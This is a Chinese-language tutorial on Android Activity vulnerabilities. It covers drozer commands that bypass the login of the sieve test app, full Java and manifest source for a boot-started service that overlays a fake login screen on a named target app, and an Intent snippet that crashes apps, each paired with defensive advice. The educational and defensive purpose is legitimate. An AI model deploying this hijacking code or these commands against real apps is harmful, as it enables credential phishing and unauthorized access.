<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Activity漏洞挖掘詳解

    VSole2021-10-18 16:22:12

    簡介

    最近在總結Android APP漏洞挖掘方面的知識,上篇帖子Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF向大家初步的介紹了Android APP漏洞挖掘過程中常見的工具,這里也是我平時使用過程中比較常用的三套件,今天我們來逐步學習和復現Android中 Activity漏洞挖掘部分知識,每個漏洞挖掘部分,我們都會選擇具有代表性的樣本案例給大家演示。

    Activity漏洞初步介紹

    1.Activity基本介紹

    在學習Activity的漏洞挖掘之前,我們先對Activity的基本運行原理有一個初步的認識。

    (1)Intent 調用Activity

    首先,我們要啟動Activity,完成各個Activity之間的交互,我們需要使用Android中一個重要的組件Intent。

    Intent是各個組件之間交互的一種重要方式,它不僅可以指明當前組件想要執行的動作,而且還能在各組件之間傳遞數據。Intent一般可用于啟動Activity、啟動Service、發送廣播等場景。Intent有多個構造函數的重載,Intent(Context packageContext,Class<?> cls)//參數1:啟動活動的上下文 參數2:想要啟動的目標活動我們構建好一個Intent對象后,只需要使用 startActivity(Intent)來啟動就可以了
    

    Intent一般分為顯式Intent和隱私Intent:

    顯示Intent打開Activity:

    Intent intent = new Intent(MainActivity.class,SecondActivity.class); //實例化Intent對象intent.putExtra("et1",et1Str); //使用putExtra傳遞參數,參數1:鍵名 參數2:鍵對應的值 我們可以使用intent.getStringExtra("et1")獲取傳遞的參數startActivity(intent); //啟動Intent,完成從MainActivity類跳轉到SecondActivity類
    

    隱式Intent打開Activity:

    隱式Intent并不指明啟動那個Activity而是指定一系列的action和category,然后由系統去分析找到合適的Activity并打開,action和category一般在AndroidManifest中指定。

    <activity android:name=".SecondActivity">            <intent-filter>                <action android:name="com.example.test.ACTION_START" />                 <category android:name="android.intent.category.DEFAULT" />            </intent-filter> </activity>
    

    只有<action>和<category>中的內容能夠匹配上Intent中指定的action和category時,這個活動才能響應Intent。

    Intent intent = Intent("com.example.test.ACTION_START");startActivity(intent);
    

    我們這里只傳入了ACTION_START,這是因為android.intent.category.DEFAULT是一種默認的category,在調用startActivity()時會自動將這個category添加到Intent中,注意:Intent中只能添加一個action,但是可以添加多個category。

     于含多個category情況,我們可以使用addCategory()方法來添加一個category。

    intent.addCategory("com.example.test.MY_CATEGORY");
    

    隱私Intent打開程序外Activity: 

    例如我們調用系統的瀏覽器去打開百度網址:

    Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com"));startActivity(intent);
    

    Intent.ACTION_VIEW是系統內置的動作,然后將https://www.baidu.com通過Uri.parse()轉換成Uri對象,傳遞給intent.setData(Uri uri)函數。

    與此對應,我們在<intent-filter>中配置<data>標簽,用于更加精確指定當前活動能夠響應什么類型的數據:

    android:scheme:用于指定數據的協議部分,如httpsandroid:host:用于指定數據的主機名部分,如www.baidu.comandroid:port:用于指定數據的端口,一般緊隨主機名后android:path:用于指定數據的路徑android:mimeType:用于指定支持的數據類型
    

    只有當<data>標簽中指定的內容和Intent中攜帶的data完全一致時,當前Activity才能響應該Intent。下面我們通過設置data,讓它也能響應打開網頁的Intent。

    <activity android:name=".SecondActivity">            <intent-filter>                <action android:name="com.example.test.action.VIEW" />                 <category android:name="android.intent.category.DEFAULT" />                <data android:scheme="http">            </intent-filter> </activity>
    

    我們就能通過隱式Intent的方法打開外部Activity。

    Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com"));startActivity(intent);
    

    (2)Activity中傳遞數據

    向下一個活動傳遞數據:

    Intent傳遞字符串:

    Intent intent = new Intent(MainActivity.class,SecondActivity.class);intent.putExtra("et1",et1Str);startActivity(intent);
    

    Intent接收字符串:

    Intent intent = getIntent();String data = intent.getStringExtra("et1");
    

    返回數據給上一個活動:

    Android 在返回一個活動可以通過Back鍵,也可以使用startActivityForResult()方法來啟動活動,該方法在活動銷毀時能返回一個結果給上一個活動。

    Intent intent = new Intent(MainActivity.class,SecondActivity.class);startActivityForResult(intent,1); //參數1:Intent  參數2:請求碼,用于之后回調中判斷數據來源
    

    我們在SecondActivity中返回數據:

    Intent intent = new Intent();intent.putExtra("data",data);setResult(RESULT_OK,intent);  //setResult接收兩個參數,參數1:向上一個活動返回處理結果,RESULT_OK或RESULT_CANCELED 參數2:把帶數據Intent返回出去finish();  //銷毀當前活動
    

    當活動銷毀后,就會回調到上一個活動,所以我們需要在MainActivity中接收。

    @Override   protected void onActivityResult(int requestCode, int resultCode,  Intent data) {  // 參數1:我們啟動活動的請求碼 參數2:我們返回數據時傳入結果  參數3:攜帶返回數據的Intent       super.onActivityResult(requestCode, resultCode, data);       switch (requestCode){           case  1:               if(requestCode == RESULT_OK){                   String returnData =data.getStringExtra("data");               }               break;           default:       }   }
    

    如果我們要實現Back返回MainActivity,我們需要在SecondActivity中重寫onBackPressed()方法。

    @Override  public void onBackPressed() {      super.onBackPressed();      Intent intent = new Intent();      intent.putExtra("data","data");      setResult(RESULT_OK,intent);      finish();  }
    

    (3)Activity的生命周期

    Activity類中定義了7個回調方法,覆蓋了Activity聲明周期的每一個環節:

    onCreate():在Activity第一次創建時調用onStart():在Activity可見但是沒有焦點時調用onResume():在Activity可見并且有焦點時調用onPause():這個方法會在準備啟動或者恢復另一個Activity時調用,我們通常在該方法中釋放消耗CPU的資源或者保存數據,但在該方法內不能做耗時操作,否則影響另一個另一個Activity的啟動或恢復。onStop():在Activity不可見時調用,它和onPause主要區別就是:onPause在失去焦點時會調用但是依然可見,而onStop是完全不可見。onDestory():在Activity被銷毀前調用onRestart():在Activity由不在棧頂到再次回到棧頂并且可見時調用。
    

    生命周期調用圖:

    我們可以將活動分為3中生存期:    (1)完整生存期:活動在onCreate()和onDestroy()方法之間所經歷的,從開始初始化到完成釋放內存    (2)可見生存期:活動在onStart()和onStop()方法之間所經歷的,主要包括資源的加載和資源的釋放    (3)前臺生存期:活動在onResume()方法和onPause()方法之間所經歷的,主要是Activity的運行
    

    (4)Activity的啟動模式

    我們這里之所以要介紹Activity的啟動模式,是因為Activity界面劫持就是根據Activity的運行特點所實現的。

    Activity一共有四種啟動模式:standard模式、singleTop模式、singleTask模式、singleInstance模式。下面我們簡單介紹一下:

    standard模式

    如果不顯示指定啟動模式,那么Activity的啟動模式就是standard,在該模式下不管Activity棧中有無Activity,均會創建一個新的Activity并入棧,并處于棧頂的位置。

    singleTop模式

    (1)啟動一個Activity,這個Activity位于棧頂,則不會重新創建Activity,而直接使用,此時也不會調用Activity的onCreate(),因為并沒有重新創建Activity     Activity生命周期:    onPause----->onNewIntent------>onResume    這個過程中調用了 onNewIntent(intent: Intent?),我們可以在該函數中通過Intent獲取新傳遞過來的數據,因為此時數據可能已經發生變化 (2) 要啟動的Activity不在棧頂,那么啟動該Activity就會重新創建一個新的Activity并入棧,此時棧中就有2個Activity的實例了
    

    singleTask模式

    如果準備啟動的ActivityA的啟動模式為singleTask的話,那么會先從棧中查找是否存在ActivityA的實例:場景一、如果存在則將ActivityA之上的Activity都出棧,并調用ActivityA的onNewIntent()       ActivityA啟動ActivityB,然后啟動ActivityA,此時生命周期過程:       ActivityB onPause----->ActivityA(onRestart--->onStart--->onNewIntent--->onResume)--------->ActivityB(onStop--->onDestroy) 場景二、如果ActivityA位于棧頂,則直接使用并調用onNewInent(),此時和singleTop一樣       ActivityA啟動ActivityA,此時生命周期過程:       ActivityA(onPause--->onNewIntent--->onResume) 場景三、 如果棧中不存在ActivityA的實例則會創建一個新的Activity并入棧。       ActivityA啟動ActivityB,此時生命周期過程:       ActivityA(onCreate--->onStart--->onResume)
    

    singleInstance模式

    指定singleInstance模式的Activity會啟動一個新的返回棧來管理這個Activity(其實如果singleTask模式指定了不同的taskAffinity,也會啟動一個新的返回棧我們可以通過這種模式去實現其他程序和我們程序能共享這個Activity實例,在這種模式下,會有一個單獨的返回棧來管理這個Activity,無論哪個應用程序來訪問這個Activity,都在同一個返回棧中,也就解決了共享Activity實例的問題
    

    2.Activity 漏洞種類和危害

    我們在上文中詳細介紹了Activity的運行原理,接下來我們了解一些Activity的漏洞種類和應用的安全場景。

    (1)Activity的漏洞種類

    (2)Activity安全場景和危害

    Activity的組件導出,一般會導致的問題:Android Browser Intent Scheme URLs的攻擊手段(1)拒絕服務攻擊:通過Intent給Activity傳輸畸形數據使得程序崩潰從而影響用戶體驗(2)越權攻擊:Activity用戶界面繞過會造成用戶信息竊取、Activity界面被劫持產生欺詐等安全事件(3)組件導出導致釣魚欺詐(4)隱式啟動intent包含敏感數據
    

    Activity漏洞原理分析和復現

    1、越權繞過

    (1)原理介紹

    在Android系統中,Activity默認是不導出的,如果設置了exported = "true" 這樣的關鍵值或者是添加了<intent-filter>這樣的屬性,那么此時Activity是導出的,就會導致越權繞過或者是泄露敏感信息等安全風險。例如:(1)一些敏感的界面需要用戶輸入密碼才能查看,如果沒有對調用此Activity的組件進行權限驗證,就會造成驗證的越權問題,導致攻擊者不需要密碼就可以打開(2)通過Intent給Activity傳輸畸形數據使得程序崩潰拒絕服務(3)對Activity界面進行劫持
    

    (2)漏洞復現

    樣本 sieve.apk drozer.apk

    首先,我們需要配置drozer的基本環境,具體配置操作,參考:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF(https://bbs.pediy.com/thread-269196.htm)

    手機端打開代理,開啟31415端口。

    adb forward tcp:31415 tcp:31415drozer console connect
    

     

     我們嘗試使用drozer去越權繞過該界面,首先,我們先列出程序中所有的APP 包:?

    run app.package.list
    

    我們通過查詢字段,可以快速定位到sieve的包名。

    然后,我們去查詢目標應用的攻擊面:

    run app.package.attacksurface com.mwr.example.sieve
    

    我們可以看出,有三個activity是被導出的,我們再具體查詢暴露activity的信息。

    run app.activity.info -a  com.mwr.example.sieve
    

    說明我們可以通過強制跳轉其他兩個界面,來實現越權繞過。

    run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
    

    說明我們成功的實現了越權繞過。

    (3)防護策略

    防護策略:(1)私有Activity不應被其他應用啟動相對是安全的,創建activity時:設置exported屬性為false(2)公開暴露的Activity組件,可以被任意應用啟動,創建Activity:設置export屬性為true,謹慎處理接收的Intent,有返回數據不包含敏感信息,不應發送敏感信息,收到返回數據謹慎處理
    

    2、釣魚欺詐/Activity劫持

    (1)原理介紹

    原理介紹:(1)Android APP中不同界面的切換通過Activity的調度來實現,而Acticity的調度是由Android系統中的AMS來實現。每個應用想啟動或停止一個進程,都報告給AMS,AMS收到啟動或停止Activity的消息時,先更新內部記錄,再通知相應的進程或停止指定的Activity。當新的Activity啟動,前一個Activity就會停止,這些Activity會保留在系統中的一個Activity歷史棧中。每有一個Activity啟動,它就壓入歷史棧頂,并在手機上顯示。當用戶按下back,頂部的Activity彈出,恢復前一個Activity,棧頂指向當前的Activity。(2)由于Activity的這種特性,如果在啟動一個Activity時,給它加入一個標志位FLAGACTIVITYNEW_TASK,就能使它置于棧頂并立馬呈現給用戶,如果這個Activity是用于盜號的偽裝Activity,就會產生釣魚安全事件或者一個Activity中有webview加載,允許加載任意網頁都有可能產生釣魚事件。 實現原理:如果我們注冊一個receiver,響應android.intent.action.BOOT_COMPLETED,使得開啟啟動一個service;這個service,會啟動一個計時器,不停枚舉當前進程中是否有預設的進程啟動,如果發現有預設進程,則使用FLAG_ACTIVITY_NEW_TASK啟動自己的釣魚界面,截獲正常應用的登錄憑證 實現步驟:(1)啟動一個服務(2)不斷掃描當前進程(3)找到目標后彈出偽裝窗口
    

    (2)漏洞復現

    在進行Android 界面劫持過程中,我發現根據Android版本的變化情況,目前不同Android版本實現的功能代碼有一定的差異性,再經過多次的學習和總結后,我復現而且改進了針對Android 6.0界面劫持的功能代碼,并對不同版本的頁面劫持做了一個初步的總結,下面是具體實驗的詳細過程:

    首先我們新建一個服務類HijackingService.class,然后在MainActivity里面啟動這個服務類:

    public class MainActivity extends AppCompatActivity {     @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        Intent intent2 = new Intent(this,HijackingService.class);        startService(intent2);        Log.w("hijacking","activity啟動用來劫持的Service");    }}
    

    我們可以看到程序一旦啟動,就會啟動HijackingService.class。

    然后我們編寫一個HijackingApplication類,主要負責添加劫持類別,清除劫持類別,判斷是否已經劫持。

    public class HijackingApplication{     private static List<String> hijackings = new ArrayList();      public static void addProgressHijacked(String paramString){    //添加劫持進程       hijackings.add(paramString);     }      public static void clearProgressHijacked(){       //清楚劫持進程集合       hijackings.clear();     }      public static boolean hasProgressBeHijacked(String paramString){    //判斷該進程是否被劫持       return hijackings.contains(paramString);     } }
    

    說明:這個類的主要功能是,保存已經劫持過的包名,防止我們多次劫持增加暴露風險。

    我們為了實現開機啟動服務,新建一個廣播類:

    public class HijackingReciver extends BroadcastReceiver {    @Override    public void onReceive(Context context, Intent intent) {        if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")){            Log.w("hijacking","開機啟動");            Intent intent2 = new Intent(context,HijackingService.class);            context.startService(intent2);            Log.w("hijacking","啟動用來劫持的Service");        }     }}
    

    然后我們編寫劫持類 HijackingService.class。

    private boolean hasStart = false;    private boolean isStart;    HashMap<String, Class<?>> map = new HashMap<String, Class<?>>();    //新建線程    Handler handler = new Handler();    Runnable mTask = new Runnable() {        @Override        public void run() {            Log.w("TAG","ABC");            int i =1;            //ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);            //List<ActivityManager.RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();          //  List<ActivityManager.RunningAppProcessInfo> appProcessInfos = ((ActivityManager) HijackingService.this.getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses();           //String Processesnew = ForegroundProcess.getForegroundApp();           //Log.w("TAG============",Processesnew);           List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses();            Log.w("hijacking", "=================正在枚舉進程=======================");            //枚舉進程            for( AndroidAppProcess appProcessInfo: Processes){                Log.w("TAG",appProcessInfo.name);                /*try {                    Stat stat = appProcessInfo.stat();                    int pid = stat.getPid();                    int parentProcessId = stat.ppid();                    long startTime = stat.stime();                    int policy = stat.policy();                    char state = stat.state();                    Log.w("TAG","pid:"+pid+" parentProcessId:"+parentProcessId+" startTime:"+startTime+" policy:"+policy+" state:"+state);                } catch (IOException e) {                    e.printStackTrace();                }                */                 String ProcessesRunning = ForegroundProcess.getForegroundApp();                Log.w("TAG============",ProcessesRunning);                if(map.containsKey(ProcessesRunning)) {                    // Log.w("TAG","GHZ");                    //如果包含在我們劫持的map中                    if (map.containsKey(appProcessInfo.name)) {                        Log.w("準備劫持", appProcessInfo.name);                        hijacking(appProcessInfo.name);                    } else {                        //Log.w("hijacking",appProcessInfo.getPackageName());                        //Log.w("abc","123");                    }                }             }            handler.postDelayed(mTask,8000);        }        private void hijacking(String progressName){            //判斷是否已經劫持,對劫持的過的程序跳過            if(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){                Intent localIntent = new Intent(HijackingService.this.getBaseContext(),HijackingService.this.map.get(progressName));                localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);                HijackingService.this.getApplication().startActivity(localIntent);                HijackingApplicaiton.addProgressHijacked(progressName);                Log.w("TAG====hijacking","已經劫持成功");            }        }    };     @Override    public void onCreate() {        super.onCreate();        if(!isStart){            map.put("com.cz.babySister",SecondActivity.class);            this.handler.postDelayed(this.mTask, 1000);            isStart = true;        }     }     @Override    public IBinder onBind(Intent intent) {        // TODO: Return the communication channel to the service.        throw new UnsupportedOperationException("Not yet implemented");    }     @Override    public  boolean stopService(Intent name){        hasStart = false;        Log.w("TAG====hijacking","劫持服務停止");        HijackingApplicaiton.clearProgressHijacked();        return super.stopService(name);    }
    

    我們編寫劫持類中,最關鍵的就是如何獲取當前的前臺進程和遍歷正在運行的進程,這也是Android版本更新后,導致不同版本劫持差異的主要原因,對這里我做了一個初步的總結:

    注意:    (1)我們實現界面劫持,主要是根據Android Activity設計的漏洞,而這就會涉及對ActivityManager的掌握       網址:https://blog.csdn.net/zhangxunxyy/article/details/80805394    (2)Android 獲取當前的Activity,因為Android版本不同而具備一定差異性        1)Android 5.0之前可以使用getRunningTasks,該方法可以獲得在前臺運行的系統進程       2)Android 5.0-6.0 getRunningTasks失效,可以使用getRunningAppProcesses方法暫時替代       3)Android 6.0以上 getRunningAppProcess也失效了,系統關閉了三方軟件對系統進程的訪問            目前的方法:            1.使用國外大佬的代碼 AndroidProcesses            參考網址:https://github.com/jaredrummler/AndroidProcesses                       https://jaredrummler.com/2017/09/13/android-processes/                       https://www.itranslater.com/qa/details/2325835735628252160            2.使用第三方開源庫:libsuperuser            使用文章:https://blog.csdn.net/daydayplayphone/article/details/52236148            開源網址:https://github.com/Chainfire/libsuperuser            第三種方法主要是利用Google 應用程序可以訪問 /proc/            https://blog.csdn.net/brycegao321/article/details/76966424       4)我們發現使用這兩種方法都只能列出進程列表,并不能獲取正在運行的進程,我們需要進一步過濾            參考網址:https://blog.csdn.net/dq1005/article/details/51453121                       https://www.jianshu.com/p/f3aea648dfbb            如何判斷Android包名獲取進程是否存活:https://blog.csdn.net/weixin_39352694/article/details/83620517            如何查看前臺進程的六種方法:https://github.com/wenmingvs/AndroidProcess
    

    我們編寫獲取當前目標進程的代碼:

    public class ForegroundProcess {    public static final int AID_APP = 10000;    public static final int AID_USER = 100000;     public static String getForegroundApp() {        File[] files = new File("/proc").listFiles();        int lowestOomScore = Integer.MAX_VALUE;        String foregroundProcess = null;        for (File file : files) {            if (!file.isDirectory()) {                continue;            }            int pid;             try {                pid = Integer.parseInt(file.getName());            } catch (NumberFormatException e) {                continue;            }             try {                String cgroup = read(String.format("/proc/%d/cgroup", pid));                String[] lines = cgroup.split("\n");                String cpuSubsystem;                String cpuaccctSubsystem;                 if (lines.length == 2) {// 有的手機里cgroup包含2行或者3行,我們取cpu和cpuacct兩行數據                    cpuSubsystem = lines[0];                    cpuaccctSubsystem = lines[1];                } else if (lines.length == 3) {                    cpuSubsystem = lines[0];                    cpuaccctSubsystem = lines[2];                } else {                    continue;                }                 if (!cpuaccctSubsystem.endsWith(Integer.toString(pid))) {                    // not an application process                    continue;                }                if (cpuSubsystem.endsWith("bg_non_interactive")) {                    // background policy                    continue;                }                 String cmdline = read(String.format("/proc/%d/cmdline", pid));                if (cmdline.contains("com.android.systemui")) {                    continue;                }                int uid = Integer.parseInt(cpuaccctSubsystem.split(":")[2]                        .split("/")[1].replace("uid_", ""));                if (uid >= 1000 && uid <= 1038) {                    // system process                    continue;                }                int appId = uid - AID_APP;                int userId = 0;                // loop until we get the correct user id.                // 100000 is the offset for each user.                 while (appId > AID_USER) {                    appId -= AID_USER;                    userId++;                }                 if (appId < 0) {                    continue;                }                // u{user_id}_a{app_id} is used on API 17+ for multiple user                // account support.                // String uidName = String.format("u%d_a%d", userId, appId);                File oomScoreAdj = new File(String.format(                        "/proc/%d/oom_score_adj", pid));                if (oomScoreAdj.canRead()) {                    int oomAdj = Integer.parseInt(read(oomScoreAdj                            .getAbsolutePath()));                    if (oomAdj != 0) {                        continue;                    }                }                int oomscore = Integer.parseInt(read(String.format(                        "/proc/%d/oom_score", pid)));                if (oomscore < lowestOomScore) {                    lowestOomScore = oomscore;                    foregroundProcess = cmdline;                }            } catch (IOException e) {                e.printStackTrace();            }        }        return foregroundProcess;     }     private static String read(String path) throws IOException {        StringBuilder output = new StringBuilder();        BufferedReader reader = new BufferedReader(new FileReader(path));        output.append(reader.readLine());         for (String line = reader.readLine(); line != null; line = reader                .readLine()) {            output.append('\n').append(line);        }        reader.close();        return output.toString().trim();// 不調用trim(),包名后會帶有亂碼    } }
    

    我們繼續編寫劫持替換的測試類:

    public class SecondActivity extends AppCompatActivity {    private static Boolean flag ;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_second);        Log.w("TAGSecod","切換");        EditText name = findViewById(R.id.editTextTextPersonName);        EditText passward = findViewById(R.id.editTextTextPassword);        Button button = findViewById(R.id.button);            button.setOnClickListener(new View.OnClickListener() {                @Override                public void onClick(View v) {                    Log.w("TAG", "成功劫持進入該界面");                    flag =false;                }            });     }}
    

    最后在我們的配置文件中加入相應的權限和配置信息:

    <?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.example.activityhajacker">     <uses-permission android:name="android.permission.INTERNET" />    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />     <application        android:allowBackup="true"        android:icon="@mipmap/ic_launcher"        android:label="@string/app_name"        android:roundIcon="@mipmap/ic_launcher_round"        android:supportsRtl="true"        android:theme="@style/Theme.ActivityHajacker">        <activity android:name=".SecondActivity"></activity>         <service            android:name=".HijackingService"            android:enabled="true"            android:exported="true" />         <activity android:name=".MainActivity">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                 <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>         <receiver            android:name=".HijackingReciver"            android:enabled="true">            <intent-filter>                <action android:name="android.intent.action.BOOT_COMPLETED" />            </intent-filter>        </receiver>    </application> </manifest>
    

    我們需要將服務的時間設置成6秒,避免程序界面還未加載就劫持了。

    效果演示:

    我們編寫劫持類安裝,打開:

    我們可以發現劫持類在后臺運行:

    我們打開目標程序:

    等待5秒,然后劫持成功,這個時間我們可以在代碼段調整:

    這樣我們成功完成了對目標程序劫持,這里我只編寫了一個簡易的界面,大家可以編寫更加復雜的界面,這主要是針對Android 6.0平臺的劫持,各位也可以試試其他版本的平臺。

    (3)安全防護

    如果真的爆發了這種惡意程序,我們并不能在啟動程序時每一次都那么小心去查看判斷當前在運行的是哪一個程序,當android:noHistory="true"時上面的方法也無效目前,對activity劫持的防護,只能是適當給用戶警示信息。一些簡單的防護手段就是顯示當前運行的進程提示框。梆梆加固則是在進程切換的時候給出提示,并使用白名單過濾。參考網址:https://blog.csdn.net/ruingman/article/details/51146152          http://blog.chinaunix.net/uid-16728139-id-4962659.html          https://blog.csdn.net/u012195899/article/details/70172241?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-9.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-9.essearch_pc_relevant
    

    通過它提示程序進入后臺來提示用戶。

    3、隱私啟動Intent包含敏感數據

    (1)原理介紹

    1.背景知識:Intent可分為隱私(implicitly)和顯式(explicitly)兩種(1)顯式Intent:即在構造Intent對象時就指定接收者,它一般用在知道目標組件名稱的前提下,   一般是在相同的應用程序內部實現的,如下:   Intent intent = new Intent(MainActivit.this, NewActivity.class);   startActivity(intent);(2)隱式Intent:即Intent的發送者在構造Intent對象時,并不知道也不關心接收者是誰,有利于降低發送者和接收者之間的耦合,它一般用在沒有明確指出目標組件名稱的1前提下,一般是用于不同應用程序之間,如下:    Intent intent = new Intent();    intent.setAction("com.wooyun.test");    startActivity(intent);對于顯式Intent,Android不需要去做解析,因為目標組件已經很明確,Android需要解析的是那些隱式Intent,通過解析,將Intent映射給可以處理此Intent的Activity,IntentReceiver或Service
    

    我們有一個應用A,采用Intent隱式傳遞,它的動作是"X",此時還有一個應用B,動作也是X,我們在啟動的時候,通過Intent隱式傳遞,就會同時彈出兩個界面,我們就不知道到底啟動A還是B
    

    因為現在這種漏洞在Android版本更新后,基本很少出現了,所以這里就不做復現和安全防護了。

    4、拒絕服務攻擊

    (1)原理介紹

    原理介紹:  Android提供Intent機制來協助應用間的交互和通訊,通過Intent實現對應用中一次操作的動作、動作涉及數據、附加數據進行描述,Android通過Intent的描述,負責找到對應組件,完成調用。  拒絕服務攻擊源于程序沒有對Intent。getXXXExtra()獲取的異常或者畸形數據處理時沒有進行異常捕獲,從而導致攻擊者向應用發送此類空數據、異常或者畸形數據來達到致使該應用crash的目的,我們可以通過intent發送空數據、異常或畸形數據給正常應用,導致其崩潰。本地拒絕服務可以被競爭方利用來攻擊,使得自己的應用崩潰,造成破壞。  危害:拒絕服務漏洞對于鎖屏應用、安全防護類軟件危害是巨大的
    

    提到拒絕服務攻擊,我們就不得不講一下Android外部程序的調用方法:

    總結:    1.使用自定義Action    A程序中調用的代碼為:      Intent intent = new Intent();      intent.setAction("com.test.action.PLAYER");                    startActivity(intent);    B程序中的AndroidManifest.xml中啟動Activity的intent-filter    <intent-filter>                  <action android:name="android.intent.action.MAIN" />                   <action android:name="com.test.action.PLAYER" />                   <category android:name="android.intent.category.DEFAULT" /><!--必須,否則無效-->                  <category android:name="android.intent.category.LAUNCHER" />    </intent-filter>     2.使用包類名    A程序中調用的代碼為:     Intent intent = new Intent();     intent.setClassName("com.test", "com.test.Player");//目標程序包名、主進程名     startActivity(intent);    intent.setClassName(arg1,arg2)中arg1是被調用程序B的包名,arg2是B程序中目的activity的完整類名     或者使用ComponentName     Intent intent = new Intent();             ComponentName comp = new ComponentName("com.test", "com.test.Player" ); //目標程序包名、主進程名     intent.setComponent(comp);     startActivity(intent);      B程序被調用中AndroidManifest.xml中啟動Activity的intent-filter不需要特別加入其它信息,如下即可:       <intent-filter>      <action android:name="android.intent.action.MAIN" />      <category android:name="android.intent.category.LAUNCHER" />        </intent-filter>
    

    (2)漏洞復現

    我們查看一個目標應用的AndroidManifest.xml文件:

    <activity android:label="@string/app_name" android:name=".MainLoginActivity" android:excludeFromRecents="true" android:launchMode="singleTask" android:windowSoftInputMode="adjustUnspecified|stateVisible|adjustResize">            <intent-filter>                <action android:name="android.intent.action.MAIN"/>                <category android:name="android.intent.category.LAUNCHER"/>            </intent-filter></activity>
    

    我們編寫一個簡易的APP程序,對目標程序進行拒絕服務攻擊。

    Intent intent = new Intent();ComponentName comp = new ComponentName("com.mwr.example.sieve","com.mwr.example.sieve.MainLoginActivity");intent.putExtra("", "");intent.setComponent(comp);startActivity(intent);
    

    這里我們傳入一個空字符,使其產生錯誤。

    當然我們還可以使用我們的神器drozer來進行攻擊。

    遠程拒絕服務攻擊:

    參考網址:http://rui0.cn/archives/30

    還有其他類型的拒絕服務攻擊,大家可以參考博客:

    參考網址https://blog.csdn.net/myboyer/article/details/44940811utm_term=Activity%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-44940811&spm=3001.4430

    (3)安全防護

    安全防護:    (1)空指針異常、類型轉換異常、數組越界訪問異常、類未定義異常、其它異常    (2)謹慎處理接收的intent以及其攜帶的信息,對接收到的任何數據做try/catch處理,以及對不符合預期數據做異常處理總結:1.不需要被外部調用的activity設置android:exported="false"; 2.若需要外部調用,需自定義signature或者signatureOrSystem級別的權限; 3.注冊的組件請嚴格校驗輸入參數,注意空值判定和類型轉換判斷
    

    實驗總結

    寫到這里,這個帖子總算寫完了,對Android的Activity漏洞挖掘的總結過程中,我又再一次將Android 的Activity組件運行的基本原理熟悉了一遍,學習就是不斷的總結提高把,可能在編寫的過程中,還存在很多不足地方,就請各位大佬指教了。

    參考網址:

    Android 第一行代碼https://www.jianshu.com/p/b999119d2752https://blog.csdn.net/zhangxunxyy/article/details/80805394https://github.com/jaredrummler/AndroidProcesseshttps://jaredrummler.com/2017/09/13/android-processes/https://www.itranslater.com/qa/details/2325835735628252160https://blog.csdn.net/daydayplayphone/article/details/52236148https://github.com/Chainfire/libsuperuserhttps://blog.csdn.net/brycegao321/article/details/76966424https://blog.csdn.net/dq1005/article/details/51453121https://www.jianshu.com/p/f3aea648dfbbhttps://blog.csdn.net/weixin_39352694/article/details/83620517https://github.com/wenmingvs/AndroidProcesshttps://blog.csdn.net/ruingman/article/details/51146152http://blog.chinaunix.net/uid-16728139-id-4962659.html http://rui0.cn/archives/30
    
    漏洞挖掘intent傳遞對象
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Activity漏洞挖掘詳解
    2021-10-18 16:22:12
    2Activity漏洞初步介紹1.Activity基本介紹在學習Activity的漏洞挖掘之前,我們先對Activity的基本運行原理有一個初步的認識。
    前言今天總結Android APP四大組件中Content Provider挖掘的知識,主要分為兩個部分,一部分是對Android Content Provider內容提供器的原理總結,另一部分便是對Android provider機制常見的一些漏洞總結,包括一些已知的漏洞方法,和一部分案例實踐。
    這里建議doc文檔,圖片可以貼的詳細一些。爆破完好了,一樣的6。想給它一個清晰完整的定義其實是非常困難的。
    一、漏洞挖掘的前期–信息收集 雖然是前期,但是卻是我認為最重要的一部分; 很多人挖洞的時候說不知道如何入手,其實挖洞就是信息收集+常規owasp top 10+邏輯漏洞(重要的可能就是思路猥瑣一點),這些漏洞的測試方法本身不是特別復雜,一般混跡在安全圈子的人都能復現漏洞。接下來我就著重說一下我在信息收集方面的心得。
    涉及系統命令調用和執行的函數在接收用戶的參數輸入時未做檢查過濾,或者攻擊者可以通過編碼及其他替換手段繞過安全限制注入命令串,導致執行攻擊指定的命令。
    軟件漏洞分析簡述
    2022-07-18 07:08:06
    然后電腦壞了,借了一臺win11的,湊合著用吧。第一處我們直接看一下他寫的waf. 邏輯比較簡單,利用正則,所有通過 GET 參得到的參數經過verify_str函數調用inject_check_sql函數進行參數檢查過濾,如果匹配黑名單,就退出。但是又有test_input函數進行限制。可以看到$web_urls會被放入數據庫語句執行,由于$web_urls獲取沒有經過過濾函數,所以可以
    看雪論壇作者ID:隨風而行aa
